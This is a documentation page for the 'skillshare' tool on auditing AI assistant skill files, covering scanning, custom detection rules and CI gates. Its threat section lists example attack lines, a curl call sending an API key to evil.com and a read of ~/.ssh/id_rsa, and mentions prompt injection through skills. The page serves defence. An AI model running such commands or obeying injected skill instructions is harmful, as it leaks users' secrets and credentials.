Files
skillshare/website/docs/how-to/advanced/security.md
T
Willie ec80c1df7c fix(website): pin anchors and repair broken code fence in EN docs
- how-to/advanced/security.md: pin {#periodic-scanning} on 'Periodic
  Scanning', linked from this same page by anchor fragment.
- how-to/advanced/docker-sandbox.md: pin {#dev-profile} on 'Dev
  Profile', same reason.
- how-to/daily-tasks/organizing-skills.md: pin
  {#install-directly-into-folders} on that heading, same reason.
  Without an explicit id, translating the heading text changes its
  auto-generated slug and breaks the in-page link once translated.
- how-to/daily-tasks/creating-skills.md: the nested code-fence example
  under 'Include examples' used the same 3-backtick fence for both the
  outer block and the inner ```python block, so the inner fence's
  info string didn't count as a closer but the following bare fence
  did, silently truncating the outer block and leaving a dangling
  opener for the rest of the file. Widened the outer fence to 4
  backticks.
2026-09-20 12:15:08 +08:00

8.8 KiB

sidebar_position
sidebar_position
10

Securing Your Skills

AI skills are powerful — they instruct AI assistants to read files, run commands, and interact with your system. This guide helps you build a security workflow around skill installation and maintenance.

For the full command reference, see audit.

The Risk: AI Skill Supply Chain

Unlike traditional packages that run in sandboxed runtimes, AI skills operate through natural language instructions that the AI interprets and executes directly. A compromised skill can instruct an AI to:

  • Exfiltrate secrets (curl https://evil.com?key=$API_KEY)
  • Read credentials (cat ~/.ssh/id_rsa)
  • Override safety behavior via prompt injection
  • Hide malicious intent with zero-width Unicode characters

:::caution

A single malicious skill can access anything your AI assistant can — environment variables, SSH keys, cloud credentials, source code. Automated scanning catches known patterns, but human review remains essential.

For a detailed threat model and detection rules, see Why Security Scanning Matters.

:::

Defense in Depth

No single layer catches everything. Combine manual review, automated scanning, custom policies, and CI/CD gates:

Layer Tool What it does
Review Manual Read SKILL.md before installing — check for suspicious commands
Audit skillshare audit Automated pattern detection (100+ built-in rules, 5 severity levels, 6 analyzers)
Custom Rules audit-rules.yaml Organization-specific patterns (internal secrets, allowlists)
CI/CD Pipeline gate Block PRs that introduce risky skills

Supply-Chain Security Lifecycle

Security checkpoints depend on how a skill is installed (--track vs regular install):

flowchart TD
    subgraph INSTALL ["Phase 1 — Install"]
        I1["skillshare install <source>"] --> I2{"Install mode"}
        I2 -- "Regular skill" --> I3{"Audit scan"}
        I3 -- "At/above threshold" --> I4["Blocked (unless --force) ✗"]
        I3 -- "Pass / --force" --> I5["Record in .metadata.json<br/>(sha256 per file)"]
        I5 --> I6["Installed skill ✓"]
        I2 -- "Tracked repo (--track)" --> I7["Clone repo with .git"]
        I7 --> I8{"Audit full repo<br/>(same threshold)"}
        I8 -- "At/above threshold" --> I9["Blocked + cleanup ✗<br/>(manual cleanup if auto-remove fails)"]
        I8 -- "Pass / --force" --> I10["Tracked repo installed ✓<br/>(no file_hashes metadata)"]
    end

    subgraph UPDATE ["Phase 2 — Update"]
        U1["skillshare update _repo"] --> U2["git pull"]
        U2 --> U3{"Post-update audit<br/>(threshold gate)"}
        U3 -- "At/above threshold" --> U4["Rollback<br/>(auto in CI/non-TTY)"]
        U3 -- "Clean" --> U5["Tracked repo updated ✓"]

        R1["skillshare update &lt;skill&gt;"] --> R2["Reinstall from source"]
        R2 --> R3{"Install-time audit<br/>(threshold gate)"}
        R3 -- "At/above threshold" --> R4["Blocked ✗"]
        R3 -- "Pass" --> R5["Refresh metadata hashes"]
        R5 --> R6["Regular skill updated ✓"]
    end

    subgraph INTEGRITY ["Phase 3 — Integrity"]
        A1["skillshare audit"] --> A2{"file_hashes metadata present?"}
        A2 -- "No" --> A3["Hash checks skipped"]
        A2 -- "Yes" --> A4{"Compare SHA-256"}
        A4 -- "All match" --> A8["Clean ✓"]
        A4 -- "Mismatch" --> A5["content-tampered<br/>(MEDIUM)"]
        A4 -- "File missing" --> A6["content-missing<br/>(LOW)"]
        A4 -- "Extra file" --> A7["content-unexpected<br/>(LOW)"]
    end

    I10 --> U1
    I6 --> R1
    I6 --> A1
    I10 --> A1
    U5 --> A1
    R6 --> A1

    style I4 fill:#ef4444,color:#fff
    style I9 fill:#ef4444,color:#fff
    style U4 fill:#ef4444,color:#fff
    style R4 fill:#ef4444,color:#fff
    style I6 fill:#22c55e,color:#fff
    style I10 fill:#22c55e,color:#fff
    style U5 fill:#22c55e,color:#fff
    style R6 fill:#22c55e,color:#fff
    style A8 fill:#22c55e,color:#fff
    style A5 fill:#f59e0b,color:#000
    style A6 fill:#fbbf24,color:#000
    style A7 fill:#fbbf24,color:#000
    style I3 fill:#f59e0b,color:#000
    style I8 fill:#f59e0b,color:#000
    style U3 fill:#f59e0b,color:#000
    style R3 fill:#f59e0b,color:#000
    style A4 fill:#f59e0b,color:#000

Key design:

  • Regular skill install/update — audit runs before acceptance; successful installs/updates write file_hashes metadata
  • Tracked repo install gate — fresh --track installs are audited across the whole cloned repository before acceptance
  • Tracked repo update gate — skillshare update audits after git pull; findings at/above threshold trigger rollback automatically in non-interactive mode
  • Integrity verification scope — content-* hash checks run only when file_hashes metadata exists

Security Checklist

:::tip Three-stage checklist

Before installing:

  • Review the source repository (stars, contributors, recent activity)
  • Read the SKILL.md — look for curl, wget, eval, credential paths
  • Dry-run first: skillshare install <source> --dry-run

After installing:

  • Run skillshare audit and review all findings
  • Check for HIGH/MEDIUM findings even if the skill "passed" (default threshold is CRITICAL)
  • Re-audit periodically — new rules may catch previously undetected patterns

For teams:

  • Set audit.block_threshold: HIGH in config
  • Create custom rules for organization-specific secret patterns
  • Add audit to your CI pipeline for shared skill repositories
  • Schedule periodic scans (see Periodic Scanning below)

:::

Organizational Policy

Block Threshold

The default threshold only blocks CRITICAL findings. For teams, a stricter threshold is recommended:

# ~/.config/skillshare/config.yaml
audit:
  block_threshold: HIGH  # Blocks HIGH and CRITICAL findings

This catches obfuscation, destructive commands, and hidden content injection — patterns that are almost always malicious in skill files.

Custom Rules

Add organization-specific detection patterns. Common use cases:

  • Internal API key formats (corp-api-key-*, internal-token-*)
  • Disallowed domains or services
  • Suppressing false positives for trusted CI automation
# ~/.config/skillshare/audit-rules.yaml
rules:
  - id: internal-token-leak
    severity: HIGH
    pattern: internal-token
    message: "Internal API token pattern detected"
    regex: '(?i)\b(corp-api-key|internal-token)-[A-Za-z0-9]{10,}\b'

  - id: destructive-commands-2
    severity: MEDIUM
    pattern: destructive-commands
    message: "Sudo usage (downgraded for CI automation)"
    regex: '(?i)\bsudo\s+'

For the full custom rules reference (merge semantics, disabling rules, exclude patterns), see audit rules — Custom Rules.

Periodic Scanning

Rules evolve — a skill that was clean at install time may match new rules added later. Schedule periodic scans:

# crontab: scan all skills weekly, log results
0 9 * * 1 skillshare audit --json >> /var/log/skillshare-audit.json 2>&1

CI/CD Integration

Basic Pipeline Gate

# Fail the pipeline if any skill has HIGH+ findings
skillshare audit --threshold high
# Exit code: 0 = clean, 1 = findings found

Real-World Example: Skill Hub PR Validation

The skillshare-hub community repository uses skillshare audit to gate pull requests. Every PR that modifies skills is automatically scanned, and audit results are posted as a PR comment:

# .github/workflows/validate-pr.yml (simplified)
name: Validate PR
on:
  pull_request:
    paths: ['skills/**']

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: runkids/setup-skillshare@v1
        with:
          source: ./skills
          audit: true
          audit-threshold: high

For the full workflow (including PR comment reporting and artifact upload), see the validate-pr.yml source.

For more CI/CD patterns (SARIF upload, strict profiles, manual setup), see the CI/CD Skill Validation recipe.

See Also